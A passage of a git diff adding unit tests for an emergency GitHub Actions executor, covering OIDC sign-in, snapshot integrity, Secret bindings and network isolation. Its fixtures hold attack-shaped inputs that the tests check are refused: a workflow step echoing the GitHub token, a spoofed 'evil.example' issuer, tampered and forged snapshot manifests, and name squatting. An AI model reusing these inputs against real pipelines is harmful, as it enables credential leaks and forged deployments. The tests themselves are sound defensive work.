// Unit tests may not open network connections (tests/setup): the provider's endpoints answer through its fetch. + it("signs in through discovery, the JWKS and a PKCE code exchange with a client secret", async () => { + const issuer = "https://idp.example.test/tenant"; + const redirectUri = "https://gha.example.test/api/emergency/auth/callback"; + const idp = createDevIdp({ issuer, clientId: "gha", redirectUri, users: [{ sub: "s-1", name: "Sam" }], clientSecret: "client-secret-value" }); + const provider = createOidcProvider({ issuer, clientId: "gha", redirectUri, clientSecret: () => "client-secret-value" }, { fetch: idp.fetch }); + const { url, pending } = await provider.begin(); + expect(await provider.complete(await idp.authorize(url, "s-1"), pending)).toEqual({ issuer, subject: "s-1", name: "Sam", email: undefined }); + expect(idp.tokenRequests[0]!.authorization).toBe(`Basic ${Buffer.from("gha:client-secret-value").toString("base64")}`); + // A wrong client secret is refused by the provider, and the sign-in fails. + const wrong = createOidcProvider({ issuer, clientId: "gha", redirectUri, clientSecret: () => "guessed" }, { fetch: idp.fetch }); + const second = await wrong.begin(); + await expect(wrong.complete(await idp.authorize(second.url, "s-1"), second.pending)).rejects.toThrow(/answered 401/); + // An HTTP issuer is refused unless explicitly allowed (local development providers only). + expect(() => createOidcProvider({ issuer: "http://127.0.0.1:9400", clientId: "gha", redirectUri })).toThrow(/not HTTPS/); + // A discovery document naming another issuer, or HTTP endpoints, are refused. + const doc = (d: object) => async () => new Response(JSON.stringify({ issuer, authorization_endpoint: `${issuer}/authorize`, token_endpoint: `${issuer}/token`, jwks_uri: `${issuer}/jwks`, ...d })); + await expect(createOidcProvider({ issuer, clientId: "gha", redirectUri }, { fetch: doc({ issuer: "https://evil.example" }) }).begin()).rejects.toThrow(/names issuer/); + await expect(createOidcProvider({ issuer, clientId: "gha", redirectUri }, { fetch: doc({ token_endpoint: "http://idp.example.test/token" }) }).begin()).rejects.toThrow(/token endpoint is not HTTPS/); + }); +}); + +describe("sign-in configuration", () => { + const base = { oidc: { issuer: "https://idp.test", clientId: "gha", redirectUri: "https://gha.test/api/emergency/auth/callback" } }; + it("has safe defaults: 8-hour sessions, 1-hour idle, approval for Secrets and egress, separation of duties", () => { + expect(parseAuthConfig(JSON.stringify(base))).toMatchObject({ sessions: { maxHours: 8, idleMinutes: 60, breakGlassMinutes: 60 }, approval: { requireFor: ["secrets", "egress"], separationOfDuties: true, ttlMinutes: 60 }, breakGlass: { accounts: [] } }); + expect(parseAuthConfig("{}").oidc).toBeNull(); + }); + it("refuses weakening or ambiguous configuration", () => { + const bad = (v: object) => () => parseAuthConfig(JSON.stringify(v)); + expect(bad({ oidc: { ...base.oidc, issuer: "http://idp.test" } })).toThrow(/must be HTTPS/); + expect(bad({ oidc: { ...base.oidc, redirectUri: "https://gha.test/elsewhere" } })).toThrow(/auth\/callback/); + expect(bad({ oidc: { ...base.oidc, scopes: ["profile"] } })).toThrow(/openid/); + expect(bad({ ...base, breakGlass: { accounts: [{ name: "r1", roles: ["administrator"] }] } })).toThrow(/can't be an administrator/); + expect(bad({ ...base, breakGlass: { accounts: [{ name: "r1", roles: ["root"] }] } })).toThrow(/needs roles/); + expect(bad({ ...base, breakGlass: { accounts: [{ name: "r1", roles: [] }, { name: "r1", roles: [] }] } })).toThrow(/unique/); + expect(bad({ ...base, approval: { requireFor: ["never"] } })).toThrow(/requireFor/); + expect(bad({ ...base, sessions: { maxHours: 10_000 } })).toThrow(/maxHours/); + expect(bad({ ...base, initialAdministrators: [{ subject: "x" }] })).toThrow(/issuer and subject/); + expect(parseAuthConfig(JSON.stringify({ oidc: { ...base.oidc, issuer: "http://127.0.0.1:9400", allowInsecureHttp: true } })).oidc?.allowInsecureHttp).toBe(true); + }); +}); diff --git a/tests/unit/emergency-executor.test.ts b/tests/unit/emergency-executor.test.ts new file mode 100644 index 0000000..d512b74 --- /dev/null +++ b/tests/unit/emergency-executor.test.ts @@ -0,0 +1,1389 @@ +/* eslint-disable @typescript-eslint/no-explicit-any -- API response bodies are asserted structurally. */ +import { chmodSync, existsSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { admissionProbes, createAdmissionCheck, type AdmissionCheck, type AdmissionChecker } from "../../deploy/emergency/executor/admission-check.ts"; +import { createApi, LOGIN_COOKIE, SESSION_COOKIE, type ApiRequest, type ApiResponse, type ApprovalPolicy } from "../../deploy/emergency/executor/api.ts"; +import { createAuditLog } from "../../deploy/emergency/executor/audit.ts"; +import { createOidcProvider } from "../../deploy/emergency/executor/auth/oidc.ts"; +import type { Role } from "../../deploy/emergency/executor/auth/roles.ts"; +import { createAuthStore, oidcUserId } from "../../deploy/emergency/executor/auth/store.ts"; +import { createBindingState, parseBindings, type SecretBinding } from "../../deploy/emergency/executor/bindings.ts"; +import { buildCanaryJob, buildJob, GITHUB_HOSTS, NETWORK_LABEL, RUNNER_NODE, RUNNER_POD_LABELS, type CanaryTarget } from "../../deploy/emergency/executor/job-spec.ts"; +import { KubeError, type K8sJob, type K8sPod, type KubeApi } from "../../deploy/emergency/executor/kube.ts"; +import { createNetworkCheck, type NetworkCheck, type NetworkChecker } from "../../deploy/emergency/executor/network-check.ts"; +import { createStore } from "../../deploy/emergency/executor/store.ts"; +import { ed25519EventSigner, eventSigner } from "../../src/emergency/event-stream.ts"; +import { CANARY_PREFIX, EVENT_PREFIX } from "../../src/emergency/events.ts"; +import { createMemoryReader } from "../../src/emergency/memory-reader.ts"; +import { prepareSnapshot } from "../../src/emergency/prepare.ts"; +import { toBase64, type SnapshotBundle } from "../../src/emergency/snapshot.ts"; +import { DEMO_REPO, demoRepos } from "../../tools/emergency/demo-repos.ts"; +import { createDevIdp } from "../../tools/emergency/dev-oidc.ts"; + +const root = fileURLToPath(new URL("../..", import.meta.url)); +const NOW = new Date("2026-10-30T12:00:00Z"); +/** The executor's clock, also the identity provider's and the session store's; tests move it forward. */ +let clock = NOW; +const now = () => clock; +// Security review H2: users sign in through an OpenID Connect provider (a development provider, in process). Their +// roles are assigned in the executor's records, never taken from the token; "root" is a pinned initial administrator. +const ISS = "https://idp.example.test"; +const CLIENT = "gha-emergency"; +const REDIRECT = "https://gha.example.test/api/emergency/auth/callback"; +const ROLE_OF: Record = { alice: ["operator"], bob: ["operator"], carol: ["approver"], erin: ["approver"], dave: ["viewer"], mallory: [], root: [] }; +const IDP = createDevIdp({ issuer: ISS, clientId: CLIENT, redirectUri: REDIRECT, users: Object.keys(ROLE_OF).map((sub) => ({ sub, name: sub, email: `${sub}@example.test` })), now }); +const BREAK_GLASS: Record = { "recovery-1": "r1-credential-0123456789abcdef0123456789abcdef", "recovery-2": "r2-credential-0123456789abcdef0123456789abcdef" }; +/** The value a response sets for a cookie, from its Set-Cookie headers. */ +const setCookie = (r: ApiResponse, name: string) => [r.headers?.["Set-Cookie"] ?? []].flat().map((c) => new RegExp(`^${name}=([^;]*)`).exec(c)?.[1]).find((v) => v !== undefined); +const WORKFLOW = ".github/workflows/release.yml"; +const OPERATOR_SECRET = "gha-emergency-operator"; + +async function bundle(changes: Record = {}, expiresInDays = 7, repoName = DEMO_REPO): Promise { + const repos = demoRepos(root); + Object.assign(repos[DEMO_REPO]!.files, changes); + if (repoName !== DEMO_REPO) { + repos[repoName] = repos[DEMO_REPO]!; + delete repos[DEMO_REPO]; + const { manifest, contents } = await prepareSnapshot(createMemoryReader(repos), { repository: repoName, ref: "main", workflows: [WORKFLOW], name: "release demo", expiresInDays }, NOW); + return { manifest, contents: Object.fromEntries([...contents].map(([k, v]) => [k, toBase64(v)])) }; + } + const { manifest, contents } = await prepareSnapshot(createMemoryReader(repos), { repository: DEMO_REPO, ref: "main", workflows: [WORKFLOW], name: "release demo", expiresInDays }, NOW); + return { manifest, contents: Object.fromEntries([...contents].map(([k, v]) => [k, toBase64(v)])) }; +} + +function fakeKube() { + let podPhase = "Running"; + /** The runner container's exit code by execution id, once it has terminated. */ + const exitCodes = new Map(); + const jobs = new Map; status: K8sJob["status"] }>(); + const logs = new Map(); + const warnings: string[] = []; + const kube: KubeApi = { + async createJob(job) { + const name = (job as { metadata: { name: string } }).metadata.name; + jobs.set(name, { spec: job as Record, status: { active: 1 } }); + }, + async getJob(name) { + const j = jobs.get(name); + return j ? { metadata: { name }, status: j.status } : undefined; + }, + async deleteJob(name) { + jobs.delete(name); + }, + async listPods(selector): Promise { + const id = selector.split("=")[1]!; + const exitCode = exitCodes.get(id); + const containerStatuses = exitCode === undefined ? undefined : [{ name: "runner", state: { terminated: { exitCode } } }]; + return jobs.has(`gha-emergency-${id}`) ? [{ metadata: { name: `pod-${id}` }, status: { phase: podPhase, containerStatuses } }] : []; + }, + async podLog(pod) { + return logs.get(pod.slice(4)) ?? ""; + }, + async podWarnings() { + return warnings; + }, + }; + return { kube, jobs, logs, warnings, exitCodes, setPhase: (phase: string) => (podPhase = phase) }; +} + +/** A network checker that reports a fixed verdict (the canary itself is tested below). */ +function stubNetwork(state: NetworkCheck["state"], egress?: NetworkCheck["egress"]) { + const result: NetworkCheck = { state, checkedAt: NOW.toISOString(), reason: `stub: ${state}`, isolated: [], control: [], egress }; + const calls = { ensureFresh: 0 }; + const checker = { + status: () => result, + run: async () => result, + ensureFresh: async () => { + calls.ensureFresh++; + return result; + }, + } as NetworkChecker; + return { checker, calls }; +} + +/** An admission checker that reports a fixed verdict (the check itself is tested below). */ +function stubAdmission(state: AdmissionCheck["state"]) { + const result: AdmissionCheck = { state, checkedAt: NOW.toISOString(), reason: `stub admission: ${state}` }; + const calls = { ensureFresh: 0 }; + const checker = { + status: () => result, + run: async () => result, + ensureFresh: async () => { + calls.ensureFresh++; + return result; + }, + } as AdmissionChecker; + return { checker, calls }; +} + +let dir: string; +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "gha-emergency-api-")); + clock = NOW; +}); +afterEach(() => { + const unlock = (d: string) => { + chmodSync(d, 0o755); + for (const e of readdirSync(d, { withFileTypes: true })) { + if (e.isDirectory()) unlock(join(d, e.name)); + else chmodSync(join(d, e.name), 0o644); + } + }; + if (existsSync(dir)) unlock(dir); + rmSync(dir, { recursive: true, force: true }); +}); + +/** Before H2's approval tests, executions need no approval unless a test asks for the policy. */ +const NO_APPROVAL: ApprovalPolicy = { requireFor: [], separationOfDuties: true, ttlMinutes: 60 }; +type SetupOptions = { maxConcurrent?: number; network?: NetworkCheck["state"]; egress?: NetworkCheck["egress"]; allowEgress?: boolean; bindingsJson?: string; admission?: AdmissionCheck["state"]; approval?: ApprovalPolicy }; + +async function setup(opts: SetupOptions = {}) { + const data = join(dir, "data"); + const store = createStore(data); + const k = fakeKube(); + const audit: Record[] = []; + const bindings: SecretBinding[] = []; + const net = stubNetwork(opts.network ?? "enforced", opts.egress); + const adm = stubAdmission(opts.admission ?? "enforced"); + const authStore = createAuthStore( + data, + { + sessionMaxHours: 8, + sessionIdleMinutes: 60, + breakGlassSessionMinutes: 60, + initialAdministrators: [{ issuer: ISS, subject: "root" }], + breakGlassAccounts: [ + { name: "recovery-1", roles: ["operator"] }, + { name: "recovery-2", roles: ["approver"] }, + ], + breakGlassCredential: (a) => BREAK_GLASS[a], + }, + now, + ); + const provider = createOidcProvider({ issuer: ISS, clientId: CLIENT, redirectUri: REDIRECT }, { fetch: IDP.fetch, now }); + const bindingState = createBindingState(data); + const api = createApi({ + store, + kube: k.kube, + now, + network: net.checker, + admission: adm.checker, + loadBindings: () => (opts.bindingsJson !== undefined ? parseBindings(opts.bindingsJson, OPERATOR_SECRET) : { bindings, problems: [] }), + bindingState, + auth: { store: authStore, provider, breakGlass: true }, + audit: createAuditLog(data, { now, stdout: (line) => audit.push(JSON.parse(line) as Record) }), + config: { + namespace: "gha-emergency", + runnerImage: "gha-emergency-runner:test", + pvcName: "gha-emergency-data", + runnerServiceAccount: "gha-emergency-runner", + executorPodLabels: { "app.kubernetes.io/name": "gha-emergency-executor" }, + resources: { cpu: "1", memory: "1Gi", scratch: "2Gi" }, + maxMinutes: 30, + maxConcurrent: opts.maxConcurrent ?? 2, + ttlSecondsAfterFinished: 3600, + operatorSecret: OPERATOR_SECRET, + allowEgress: opts.allowEgress ?? false, + approval: opts.approval ?? NO_APPROVAL, + uiBasePath: "/", + }, + }); + + /** The whole sign-in, as a browser does it: the executor's redirect, the provider, the callback. Returns the session cookie. */ + async function signIn(sub: string): Promise { + const login = await api({ method: "GET", path: "auth/login", query: new URLSearchParams({ return: "#/emergency" }), headers: {} }); + const binding = setCookie(login, LOGIN_COOKIE)!; + const query = await IDP.authorize(String(login.headers!.Location), sub); + const back = await api({ method: "GET", path: "auth/callback", query, headers: { cookie: `${LOGIN_COOKIE}=${binding}` } }); + const session = setCookie(back, SESSION_COOKIE); + if (!session) throw new Error(`sign-in failed: ${String(back.headers?.Location)}`); + return session; + } + const sessions = new Map(); + /** A signed-in user's session; the first sign-in also gives the user their fixture roles (as an administrator would). */ + async function sessionOf(sub: string): Promise { + if (!sessions.has(sub)) { + sessions.set(sub, await signIn(sub)); + if (ROLE_OF[sub]!.length) authStore.setRoles(oidcUserId(ISS, sub), ROLE_OF[sub]!, "test-fixture"); + } + return sessions.get(sub)!; + } + /** An API call from the page of a signed-in user (alice, an operator, by default), or anonymous (null). */ + const call = async (method: string, path: string, body?: unknown, as: string | null = "alice", headers: Record = {}): Promise<{ status: number; body: any; headers?: ApiResponse["headers"] }> => { + const cookie = as ? `${SESSION_COOKIE}=${await sessionOf(as)}` : undefined; + const r: ApiRequest = { method, path, headers: { "x-gha-emergency": "1", "content-type": "application/json", ...(cookie ? { cookie } : {}), ...headers }, body: body === undefined ? undefined : Buffer.from(JSON.stringify(body)) }; + const res = await api(r); + return { status: res.status, body: res.body as any, headers: res.headers }; + }; + /** Stores the demo snapshot and binds demo-secrets (DEMO_SIGNING_KEY) to it, as an administrator would. */ + const boundDemo = async (changes: Record = {}) => { + const id = (await call("POST", "snapshots", await bundle(changes))).body.snapshot.id as string; + bindings.push({ name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"], snapshots: [id] }); + return id; + }; + return { store, call, audit, bindings, boundDemo, net, adm, api, authStore, bindingState, signIn, sessionOf, ...k }; +} + +const run = (id: string, extra: Record = {}) => ({ snapshotId: id, workflow: WORKFLOW, inputs: { version: "1" }, ...extra }); + +describe("executor API: snapshots", () => { + it("stores a verified snapshot write-once; the same content is the same snapshot, a change is a new version", async () => { + const { call, store } = await setup(); + const first = await call("POST", "snapshots", await bundle()); + expect(first.status).toBe(201); + expect(first.body.snapshot).toMatchObject({ name: "release demo", version: 1, executable: true, source: { repository: DEMO_REPO } }); + expect((await call("POST", "snapshots", await bundle())).body).toMatchObject({ created: false, snapshot: { id: first.body.snapshot.id, version: 1 } }); + const second = await call("POST", "snapshots", await bundle({ "src/app/main.txt": "v2\n" })); + expect(second.body.snapshot).toMatchObject({ version: 2 }); + expect(second.body.snapshot.id).not.toBe(first.body.snapshot.id); + expect(store.get(first.body.snapshot.id)!.manifest.files.find((f) => f.path === "src/app/main.txt")!.size).not.toBe(3); + expect((await call("POST", `snapshots/${first.body.snapshot.id}/verify`, {})).body).toEqual({ ok: true, problems: [] }); + }); + + it("rejects tampered or incomplete uploads", async () => { + const { call } = await setup(); + const b = await bundle(); + const key = Object.keys(b.contents)[0]!; + const tampered = { ...b, contents: { ...b.contents, [key]: toBase64(new TextEncoder().encode("evil")) } }; + const r = await call("POST", "snapshots", tampered); + expect(r.status).toBe(422); + expect(r.body.details.map((d: { code: string }) => d.code)).toContain("content-mismatch"); + const missing = { ...b, contents: Object.fromEntries(Object.entries(b.contents).slice(1)) }; + expect((await call("POST", "snapshots", missing)).status).toBe(422); + }); + + it("detects a stored file changed on the volume", async () => { + const { call, store, boundDemo } = await setup(); + const id = await boundDemo(); + const f = join(store.dataDir, store.subPath(id), "files", "workspace", "scripts", "build.sh"); + chmodSync(join(store.dataDir, store.subPath(id), "files", "workspace", "scripts"), 0o755); + chmodSync(f, 0o644); + writeFileSync(f, "echo changed\n"); + expect((await call("POST", `snapshots/${id}/verify`, {})).body.ok).toBe(false); + expect((await call("POST", "executions", run(id))).status).toBe(409); + }); + + it("shows which Secret, if any, is bound to a snapshot", async () => { + const { call, boundDemo } = await setup(); + const id = await boundDemo(); + expect((await call("GET", `snapshots/${id}`)).body).toMatchObject({ secretBinding: { name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"] }, allowEgress: false }); + }); +}); + +describe("executor API: executions", () => { + it("validates the request against the snapshot's requirements", async () => { + const { call, boundDemo } = await setup(); + const id = await boundDemo(); + const r = await call("POST", "executions", { snapshotId: id, workflow: WORKFLOW, inputs: { nope: "x" }, network: "internet" }); + expect(r.status).toBe(422); + expect(r.body.details.join("\n")).toMatch(/Input nope is not declared[\s\S]*network must be "isolated" or "egress"/); + expect((await call("POST", "executions", { snapshotId: id, workflow: ".github/workflows/build.yml" })).status).toBe(422); + }); + + it("creates a locked-down Job that mounts only the bound Secret's required keys and carries no values", async () => { + const { call, jobs, audit, boundDemo } = await setup(); + const id = await boundDemo(); + const r = await call("POST", "executions", run(id, { inputs: { version: "3.1.0" }, network: "isolated" })); + expect(r.status).toBe(201); + expect(r.body.execution).toMatchObject({ secretName: "demo-secrets", secretKeys: ["DEMO_SIGNING_KEY"], network: "isolated", isolation: { state: "enforced" } }); + const job = [...jobs.values()][0]!.spec as any; + const pod = job.spec.template.spec; + const c = pod.containers[0]; + expect(pod.volumes.find((v: any) => v.name === "secrets").secret).toEqual({ secretName: "demo-secrets", defaultMode: 0o440, optional: false, items: [{ key: "DEMO_SIGNING_KEY", path: "DEMO_SIGNING_KEY" }] }); + expect(c.volumeMounts.find((m: any) => m.name === "snapshot")).toEqual({ name: "snapshot", mountPath: "/snapshot", subPath: `snapshots/${id}`, readOnly: true }); + expect(JSON.parse(c.env.find((e: any) => e.name === "GHA_EMERGENCY_EXECUTION").value)).toMatchObject({ digest: id, workflow: WORKFLOW, inputs: { version: "3.1.0" } }); + expect(job.metadata.labels[NETWORK_LABEL]).toBe("isolated"); + expect(audit.filter((a) => a.action !== "signed-in").map((a) => a.action)).toEqual(["snapshot-stored", "execution-started"]); + expect(audit.find((a) => a.action === "execution-started")).toMatchObject({ by: { id: oidcUserId(ISS, "alice"), name: "alice" }, initiatedBy: { name: "alice" } }); + expect(JSON.stringify(audit)).not.toMatch(/3\.1\.0/); + }); + + it("reports progress from the runner's events, archives the result, and limits concurrency", async () => { + const { call, jobs, logs, boundDemo } = await setup({ maxConcurrent: 1 }); + const id = await boundDemo(); + const exec = (await call("POST", "executions", run(id))).body.execution; + expect((await call("POST", "executions", run(id))).status).toBe(429); + const signer = await ed25519EventSigner(exec.id); + const ev = (e: object) => signer.sign({ at: NOW.toISOString(), ...e }); + logs.set(exec.id, [signer.keyLine, await ev({ type: "execution-start", executionId: exec.id, digest: id, workflow: WORKFLOW, source: { repository: DEMO_REPO, sha: "1".repeat(40) } }), await ev({ type: "job-start", job: "prepare", name: "prepare", workflow: WORKFLOW, needs: [] })].join("\n")); + const running = (await call("GET", `executions/${exec.id}`)).body; + expect(running.view.status).toBe("running"); + expect(running.view.jobs.map((j: { job: string }) => j.job)).toEqual(["prepare"]); + logs.set(exec.id, `${logs.get(exec.id)}\n${await ev({ type: "job-end", job: "prepare", result: "success", outputs: {} })}\n${await ev({ type: "execution-end", result: "success", durationMs: 5, outputs: {} })}`); + jobs.get(exec.jobName)!.status = { succeeded: 1, conditions: [{ type: "Complete", status: "True" }] }; + expect((await call("GET", `executions/${exec.id}`)).body.view.status).toBe("success"); + jobs.clear(); + expect((await call("GET", `executions/${exec.id}`)).body).toMatchObject({ job: { state: "succeeded" }, view: { status: "success" } }); + expect((await call("POST", "executions", run(id))).status).toBe(201); + }); + + it("never leaves a finished Job looking pending: an unreadable runner log is reported", async () => { + const { call, jobs, kube, boundDemo } = await setup(); + const id = await boundDemo(); + const exec = (await call("POST", "executions", run(id))).body.execution; + kube.podLog = async () => { + throw new Error("Kubernetes API GET /api/v1/namespaces/x/pods/y/log returned 406"); + }; + expect((await call("GET", `executions/${exec.id}`)).body.view).toMatchObject({ status: "pending", reason: expect.stringMatching(/Runner log unavailable: .*406/) }); + jobs.get(exec.jobName)!.status = { succeeded: 1, conditions: [{ type: "Complete", status: "True" }] }; + expect((await call("GET", `executions/${exec.id}`)).body).toMatchObject({ job: { state: "succeeded" }, view: { status: "error", reason: expect.stringMatching(/406/) } }); + }); + + it("explains a pod that can't start, from its warning events", async () => { + const { call, warnings, setPhase, boundDemo } = await setup(); + const id = await boundDemo(); + const exec = (await call("POST", "executions", run(id))).body.execution; + setPhase("Pending"); + warnings.push('FailedMount: MountVolume.SetUp failed for volume "secrets" : secret "demo-secrets" not found'); + expect((await call("GET", `executions/${exec.id}`)).body.job.reason).toMatch(/Pod not started: FailedMount: .*secret "demo-secrets" not found/); + }); + + it("refuses expired and non-executable snapshots, and removes expired ones", async () => { + const { call, store } = await setup(); + const bad = await call("POST", "snapshots", await bundle({ ".github/workflows/release.yml": "on: workflow_dispatch\njobs:\n j:\n runs-on: x\n steps:\n - run: echo ${{ github.token }}\n" })); + expect(bad.body.snapshot.executable).toBe(false); + expect((await call("POST", "executions", { snapshotId: bad.body.snapshot.id, workflow: WORKFLOW })).body.details).toContain( + "The executor's validation of the packaged files found errors or mismatches, so the snapshot is not executable", + ); + const later = new Date(NOW.getTime() + 10 * 86_400_000); + expect(store.list(later)).toEqual([]); + }); +}); + +// Security review C1: the demonstrated attacks, which must now fail. +// Security review H1: the demonstrated forgery and its variants, against the executor's API. +describe("security review H1: server-side validation, integrity and name ownership", () => { + it("rejects the review's forged upload: errors stripped, production source claimed (422, nothing stored)", async () => { + const { call, store } = await setup(); + const b = await bundle({ ".github/workflows/release.yml": "on: workflow_dispatch\njobs:\n j:\n runs-on: x\n strategy:\n matrix:\n n: [1]\n steps:\n - run: echo ${{ github.token }}\n" }); + const forged = { ...b, manifest: { ...b.manifest, diagnostics: [], source: { repository: "acme/production-deploy", ref: "main", sha: "f".repeat(40) } } }; + const r = await call("POST", "snapshots", forged); + expect(r.status).toBe(422); + expect(r.body.details.map((d: { code: string }) => d.code)).toEqual(expect.arrayContaining(["manifest-mismatch"])); + expect(store.list(NOW)).toEqual([]); + const stripped = { ...b, manifest: { ...b.manifest, diagnostics: [] } }; + expect((await call("POST", "snapshots", stripped)).body.details.map((d: { message: string }) => d.message).join()).toMatch(/under-reports validation errors/); + }); + + it("rejects uploads whose claims differ from the files: an added secret requirement, an altered file with a forged Git blob ID", async () => { + const { call } = await setup(); + const b = await bundle(); + const extra = JSON.parse(JSON.stringify(b)) as SnapshotBundle; + extra.manifest.requirements.secrets.push({ name: "PROD_DB_PASSWORD", usedBy: ["x"] }); + expect((await call("POST", "snapshots", extra)).body.details.map((d: { message: string }) => d.message).join()).toMatch(/requirements do not match/); + const wrongBlob = JSON.parse(JSON.stringify(b)) as SnapshotBundle; + wrongBlob.manifest.files[0]!.gitBlob = "0".repeat(40); + expect((await call("POST", "snapshots", wrongBlob)).body.details.map((d: { code: string }) => d.code)).toContain("git-blob-mismatch"); + }); + + it("stores the executor's own verdict and integrity, not the uploader's", async () => { + const { call } = await setup(); + const r = await call("POST", "snapshots", await bundle()); + expect(r.body.snapshot).toMatchObject({ executable: true, validation: { by: "executor", executable: true } }); + expect(r.body.snapshot.integrity.map((i: { status: string }) => i.status)).toEqual(["tree-verified", "tree-verified"]); + const self = await bundle(); + self.manifest.diagnostics.unshift({ severity: "error", code: "self-declared", message: "do not run" }); + const declared = await call("POST", "snapshots", self); + expect(declared.body.snapshot).toMatchObject({ executable: false }); + expect((await call("POST", "executions", run(declared.body.snapshot.id))).status).toBe(422); + }); + + it("a name belongs to its repository: another repository can't add a version under it", async () => { + const { call } = await setup(); + expect((await call("POST", "snapshots", await bundle())).status).toBe(201); + const squat = await call("POST", "snapshots", await bundle({}, 7, "acme/production-deploy")); + expect(squat.status).toBe(422); + expect(squat.body.details[0]).toMatchObject({ code: "name-owned", message: expect.stringMatching(/belongs to snapshots of emergency-demo\/release-pipeline/) }); + const sameRepo = await call("POST", "snapshots", await bundle({ "src/app/main.txt": "v2\n" })); + expect(sameRepo.body.snapshot).toMatchObject({ version: 2 }); + }); + + it("a new version never inherits authorization: the binding names the old digest, so the new one gets no Secret", async () => { + const { call, boundDemo, jobs } = await setup(); + const v1 = await boundDemo(); + const v2 = (await call("POST", "snapshots", await bundle({ "scripts/build.sh": "echo changed\n" }))).body.snapshot; + expect(v2).toMatchObject({ name: "release demo", version: 2 }); + expect((await call("POST", "executions", run(v2.id))).body.details.join()).toMatch(/No Secret is bound to this snapshot/); + expect((await call("POST", "executions", run(v1))).status).toBe(201); + expect(jobs.size).toBe(1); + }); + + it("snapshots stored before H1 are validated by the executor on first use, and keep working", async () => { + const { call, store, bindings } = await setup(); + const id = (await call("POST", "snapshots", await bundle())).body.snapshot.id as string; + // Turn it into a pre-H1 record: no stored validation. + const recordPath = join(store.dataDir, store.subPath(id), "record.json"); + chmodSync(join(store.dataDir, store.subPath(id)), 0o755); + chmodSync(recordPath, 0o644); + const legacy = JSON.parse(readFileSync(recordPath, "utf8")); + delete legacy.validation; + delete legacy.integrity; + writeFileSync(recordPath, JSON.stringify(legacy)); + const got = (await call("GET", `snapshots/${id}`)).body; + expect(got.record).toMatchObject({ executable: true, validation: { by: "executor", executable: true } }); + expect(existsSync(join(store.dataDir, "validations", `${id}.json`))).toBe(true); + bindings.push({ name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"], snapshots: [id] }); + expect((await call("POST", "executions", run(id))).status).toBe(201); + }); +}); + +describe("security review C1: Secret isolation", () => { + it("the operator can no longer choose a Secret: naming one is refused, whatever it is", async () => { + const { call, jobs, boundDemo } = await setup(); + const id = await boundDemo(); + for (const secretName of [OPERATOR_SECRET, "prod-secrets", "demo-secrets"]) { + const r = await call("POST", "executions", run(id, { secretName })); + expect(r.status).toBe(422); + expect(r.body.details.join("\n")).toMatch(/secretName can't be chosen/); + } + expect(jobs.size).toBe(0); + }); + + it("a snapshot with no binding for its digest gets no Secret and does not run", async () => { + const { call, jobs } = await setup(); + const id = (await call("POST", "snapshots", await bundle())).body.snapshot.id; + const r = await call("POST", "executions", run(id)); + expect(r.status).toBe(422); + expect(r.body.details.join("\n")).toMatch(new RegExp(`No Secret is bound to this snapshot.*${id}`)); + expect(jobs.size).toBe(0); + }); + + it("a binding for one snapshot does not serve another, even with the same name and claimed repository", async () => { + const { call, jobs, boundDemo } = await setup(); + await boundDemo(); + const other = (await call("POST", "snapshots", await bundle({ "scripts/build.sh": "echo look-alike\n" }))).body.snapshot; + expect(other).toMatchObject({ name: "release demo", source: { repository: DEMO_REPO } }); + expect((await call("POST", "executions", run(other.id))).status).toBe(422); + expect(jobs.size).toBe(0); + }); + + it("only the keys the snapshot requires are mounted, never the rest of the bound Secret", async () => { + const { call, jobs, bindings, boundDemo } = await setup(); + const id = await boundDemo(); + bindings[0]!.keys = ["DEMO_SIGNING_KEY", "OTHER_TEAM_TOKEN", "PROD_DB_PASSWORD"]; + expect((await call("POST", "executions", run(id))).status).toBe(201); + const pod = ([...jobs.values()][0]!.spec as any).spec.template.spec; + expect(pod.volumes.find((v: any) => v.name === "secrets").secret.items).toEqual([{ key: "DEMO_SIGNING_KEY", path: "DEMO_SIGNING_KEY" }]); + }); + + it("a binding that doesn't permit a required key is refused", async () => { + const { call, bindings, boundDemo } = await setup(); + const id = await boundDemo(); + bindings[0]!.keys = ["SOMETHING_ELSE"]; + expect((await call("POST", "executions", run(id))).body.details.join("\n")).toMatch(/does not permit DEMO_SIGNING_KEY/); + }); + + it("the operator-token Secret can't be bound, invalid bindings bind nothing, and ambiguous bindings are refused", async () => { + const digest = "a".repeat(64); + expect(parseBindings(JSON.stringify([{ name: "x", secret: OPERATOR_SECRET, keys: ["K"], snapshots: [digest] }]), OPERATOR_SECRET).problems.join()).toMatch(/operator-token Secret can never be bound/); + for (const bad of [{ name: "x", secret: "s", keys: [], snapshots: [digest] }, { name: "x", secret: "s", keys: ["K"], snapshots: ["release demo"] }, { name: "x", secret: "Bad_Name", keys: ["K"], snapshots: [digest] }]) { + expect(parseBindings(JSON.stringify([bad]), OPERATOR_SECRET).bindings).toEqual([]); + } + const { call, boundDemo, bindings } = await setup(); + const id = await boundDemo(); + bindings.push({ name: "second", secret: "other", keys: ["DEMO_SIGNING_KEY"], snapshots: [id] }); + expect((await call("POST", "executions", run(id))).body.details.join("\n")).toMatch(/More than one Secret binding/); + }); + + it("a bindings file naming the operator Secret makes every binding void (fail closed)", async () => { + const b = await bundle(); + const { call } = await setup({ bindingsJson: JSON.stringify([{ name: "x", secret: OPERATOR_SECRET, keys: ["DEMO_SIGNING_KEY"], snapshots: ["a".repeat(64)] }]) }); + const id = (await call("POST", "snapshots", b)).body.snapshot.id; + expect((await call("POST", "executions", run(id))).body.details.join("\n")).toMatch(/Secret bindings are invalid, so none apply/); + }); +}); + +// Security review C2. +describe("security review C2: network isolation gate", () => { + for (const state of ["not-enforced", "unverified", "never"] as const) { + it(`refuses isolated executions when the network check is ${state}`, async () => { + const { call, jobs, boundDemo } = await setup({ network: state }); + const id = await boundDemo(); + const r = await call("POST", "executions", run(id)); + expect(r.status).toBe(409); + expect(r.body.error).toMatch(/Isolated execution refused/); + expect(jobs.size).toBe(0); + }); + } + + it("re-checks before every execution (a stale proof is never reused past its age)", async () => { + const { call, net, boundDemo } = await setup(); + const id = await boundDemo(); + await call("POST", "executions", run(id)); + await call("POST", "executions", run(id)); + expect(net.calls.ensureFresh).toBe(2); + }); + + it('"github-blocked" no longer exists, and 